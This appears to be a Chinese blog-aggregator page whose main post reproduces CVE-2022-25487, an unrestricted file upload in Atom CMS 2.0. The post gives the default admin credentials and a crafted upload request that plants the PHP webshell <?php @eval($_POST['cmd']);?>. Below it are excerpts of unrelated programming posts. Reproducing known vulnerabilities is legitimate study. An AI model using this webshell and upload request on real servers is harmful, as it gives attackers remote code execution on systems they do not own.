当前位置：首页 > news >正文

CVE-2022-25487 漏洞复现

news 2026/2/8 6:31:31

漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。

其实这就是一个文件上传漏洞罢了。。。。

打开之后，/home路由是个空白

信息搜集：该cms有默认邮箱/密码 alan@alan.com/password，到/admin路由下尝试登录。

Users下有个上传文件功能，可能是上传头像用的。

抓包中无文件上传的内容？？？？（奇奇怪怪）

看了一下，漏洞路由在/admin/uploads.php，直接在界面中点击到不了这个路由。。。。

直接修改刚刚的包吧

直接传php文件，这cms写的真shit

Content-Type: multipart/form-data; boundary=---------------------------30623082103363803402542706041-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"-----------------------------30623082103363803402542706041
Content-Disposition: form-data; name="file"; filename="cmd.php"
Content-Type: image/jpeg<?php @eval($_POST['cmd']);?>
-----------------------------30623082103363803402542706041--

访问木马存储路由/uploads/1707520195231.phpgetshell

CVE-2022-25487 漏洞复现

漏洞描述：Atom CMS 2.0版本存在远程代码执行漏洞，该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。其实这就是一个文件上传漏洞罢了。。。。打开之后，/home路由是个空白信息搜集&…...

编程日记 2024/2/17 5:54:12

C#面：强类型和弱类型

强类型强类型是指在编程语言中，变量必须明确声明其数据类型，并且在编译时会进行类型检查的特性。它可以提高代码的可读性和可维护性，但有时需要显式地进行类型转换。换句话说，强类型语言要求变量的类型在编译时就要确定&#xf…...

编程日记 2024/2/17 5:52:10

nodejs和npm和vite

Nodejs 简单的说 Node.js 就是运行在服务端的 JavaScript。 Node.js 是一个基于 Chrome JavaScript 运行时建立的一个平台。 Node.js 是一个事件驱动 I/O 服务端 JavaScript 环境用途： Node.js 可以被看作是一个 JavaScript 运行时环境，专门用于在服务…...

编程日记 2024/2/17 5:51:09

相机图像质量研究(24)常见问题总结：CMOS期间对成像的影响--摩尔纹

系列文章目录相机图像质量研究(1)Camera成像流程介绍相机图像质量研究(2)ISP专用平台调优介绍相机图像质量研究(3)图像质量测试介绍相机图像质量研究(4)常见问题总结：光学结构对成像的影响--焦距相机图像质量研究(5)常见问题总结：光学结构对成…...

编程日记 2024/2/17 5:48:06

Redis -- 数据库管理

目录前言切换数据库(select) 数据库中key的数量（dbsize） 清除数据库（flushall flushdb） 前言 MySQL有一个很重要的概念，那就是数据库database，一个MySQL里面有很多个database，一个datab…...

编程日记 2024/2/17 5:46:03

蓝桥杯（Web大学组）2023省赛真题：视频弹幕

思路： 主要是要仔细阅读题目以及理解给出的已有代码，进行函数间的调用、定时器的使用、元素移除、清除定时器等，注意细节。笔记： height不要写成hight设置left时,记得加单位px可以获取left的值进行计算，但要注意sp…...

编程日记 2024/2/17 5:45:02

真假难辨 - Sora(OpenAI)/世界模拟器的技术报告

目录引言技术报告汉译版英文原版引言 Sora是OpenAI在2024年2月15日发布的世界模拟器，功能是通过文本可以生成一分钟的高保真视频。由于较高的视频质量，引起了巨大关注。下面是三个示例，在示例之后给出了其技术报告： tokyo-wal…...

编程日记 2024/2/17 5:42:59

Linux第52步_移植ST公司的linux内核第4步_关闭内核模块验证和log信息时间戳_编译_并通过tftp下载测试

1、采用程序配置关闭“内核模块验证” 默认配置文件“stm32mp1_atk_defconfig”路径为“arch/arm/configs”; 使用VSCode打开默认配置文件“stm32mp1_atk_defconfg”，然后将下面的4条语句屏蔽掉，如下： CONFIG_MODULE_SIGy CONFIG_MODULE_…...

编程日记 2024/2/17 5:38:56

ctfshow-web21~28-WP

爆破(21-28) web21 题目给了一个zip文件，打开后解压是爆破的字典，我们抓包一下网址看看发现账号和密码都被base64了，我们发送到intruder模块，给爆破的位置加上$符圈住去base64解码一下看看格式...

编程日记 2024/2/17 5:37:55

鸿蒙开发系列教程（二十四）--List 列表操作（3）

列表编辑 1、新增列表项定义列表项数据结构和初始化列表数据，构建列表整体布局和列表项。提供新增列表项入口，即给新增按钮添加点击事件。响应用户确定新增事件，更新列表数据。 2、删除列表项列表的删除功能一般进入编辑模式后才可…...

编程日记 2024/2/17 5:32:50

0. 简介矩阵消元 1. 消元过程实例方程组 { x 2 y z 2 3 x 8 y z 12 4 y z 2 \begin{cases} x2yz2\\ 3x8yz12\\ 4yz2 \end{cases} ⎩ ⎨ ⎧x2yz23x8yz124yz2 矩阵化 A [ 1 2 1 3 8 1 0 4 1 ] X [ x y z ] A \begin{bmatrix} 1 & 2 & 1 \\ 3 & …...

编程日记 2024/2/17 5:28:46

透光力之珠——光耦固态继电器的独特特点解析

光耦固态继电器作为现代电子控制领域中的重要组件，以其独特的特点在工业、通信、医疗等多个领域得到广泛应用。本文将深入剖析光耦固态继电器的特点，揭示其在电子控制中的卓越性能。光耦固态继电器的光电隔离技术光耦固态继电器以其光电隔离技术而脱颖…...

编程日记 2024/2/17 5:27:45

C#系列-EntityFrameworkCore.Transactions.Abstractions应用场景+实例（38）

EntityFrameworkCore.Transactions.Abstractions应用场景 EntityFrameworkCore.Transactions.Abstractions 并不是一个官方的或广泛认可的 NuGet 包名称。在 Entity Framework Core (EF Core) 中，事务管理通常是通过 DbContext 的内置方法来实现的，如 Sa…...

编程日记 2024/2/17 5:26:42

PMDG 737

在Simbrief中生成计划后下载两个文件放到C:\Users\32497\AppData\Local\Packages\Microsoft.FlightSimulator_8wekyb3d8bbwe\LocalState\packages\pmdg-aircraft-737(微软商店版本) 加油先在飞行计划中查看计划燃油数量 MCDU中, AIRPLANE SEVICE 第二页, REQUEST FUEL TR…...

编程日记 2024/2/17 5:25:41

深入探索Midjourney：领航人工智能的新征程

深入探索Midjourney：领航人工智能的新征程引言在这个数据驱动、以技术创新为核心的时代，Midjourney以其独特的特性在人工智能领域中崭露头角。作为一款前沿的人工智能工具，它不仅重新定义了人机交互的方式，而且为各行各业提供…...

编程日记 2024/2/17 5:24:40

ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏）

ChatGPT高效提问—prompt实践（漏洞风险分析-重构建议-识别内存泄漏） 1.1 漏洞和风险分析 ChatGPT还可以帮助开发人员预测代码的潜在风险，识别其中的安全漏洞，而不必先运行它，这可以让开发人员及早发现错误&#xff0…...

编程日记 2024/2/17 5:23:39

【AIGC】Stable Diffusion 的提示词入门

一、正向提示词和反向提示词 Stable Diffusion 中的提示词通常用于指导用户对生成的图像进行控制。这些提示词可以分为正向提示词（Positive Prompts）和反向提示词（Negative Prompts）两类，它们分别影响图像生成过程中的…...

编程日记 2024/2/17 5:22:38

力扣---通配符匹配

题目描述： 给你一个输入字符串 (s) 和一个字符模式 (p) ，请你实现一个支持 ? 和 * 匹配规则的通配符匹配： ? 可以匹配任何单个字符。 * 可以匹配任意字符序列（包括空字符序列）。判定匹配成功的充要条件是&#xff…...

编程日记 2024/2/17 5:20:37

Rust 原生类型

提示：文章写完后，目录可以自动生成，如何生成可参考右边的帮助文档文章目录前言一、标量类型（scalar type）二、复合类型（compound type）总结前言 Rust 学习系列 ，rust中的原生类…...

编程日记 2024/2/17 5:14:32

09、全文检索 -- Solr -- SpringBoot 整合 Spring Data Solr （生成DAO组件和实现自定义查询方法）

目录 SpringBoot 整合 Spring Data SolrSpring Data Solr的功能（生成DAO组件）：Spring Data Solr大致包括如下几方面功能：Query查询（属于半自动）代码演示：1、演示通过dao组件来保存文档1、实体类…...

编程日记 2024/2/17 5:12:30

conda相比python好处

Conda 作为 Python 的环境和包管理工具，相比原生 Python 生态（如 pip 虚拟环境）有许多独特优势，尤其在多项目管理、依赖处理和跨平台兼容性等方面表现更优。以下是 Conda 的核心好处： 一、一站式环境管理&#xff1a…...

编程新知 2025/11/29 6:54:19

Vue记事本应用实现教程

文章目录 1. 项目介绍2. 开发环境准备3. 设计应用界面4. 创建Vue实例和数据模型5. 实现记事本功能5.1 添加新记事项5.2 删除记事项5.3 清空所有记事 6. 添加样式7. 功能扩展：显示创建时间8. 功能扩展：记事项搜索9. 完整代码10. Vue知识点解析10.1 数据绑…...

编程新知 2025/9/20 5:20:12

工业安全零事故的智能守护者：一体化AI智能安防平台

前言： 通过AI视觉技术，为船厂提供全面的安全监控解决方案，涵盖交通违规检测、起重机轨道安全、非法入侵检测、盗窃防范、安全规范执行监控等多个方面，能够实现对应负责人反馈机制，并最终实现数据的统计报表。提升船厂…...

编程新知 2026/1/21 9:20:07

1.3 VSCode安装与环境配置

进入网址Visual Studio Code - Code Editing. Redefined下载.deb文件，然后打开终端，进入下载文件夹，键入命令 sudo dpkg -i code_1.100.3-1748872405_amd64.deb 在终端键入命令code即启动vscode 需要安装插件列表 1.Chinese简化 2.ros …...

编程新知 2026/1/29 3:35:37

sqlserver 根据指定字符解析拼接字符串

DECLARE LotNo NVARCHAR(50)A,B,C DECLARE xml XML ( SELECT <x> REPLACE(LotNo, ,, </x><x>) </x> ) DECLARE ErrorCode NVARCHAR(50) -- 提取 XML 中的值 SELECT value x.value(., VARCHAR(MAX))…...

编程新知 2025/10/29 4:33:03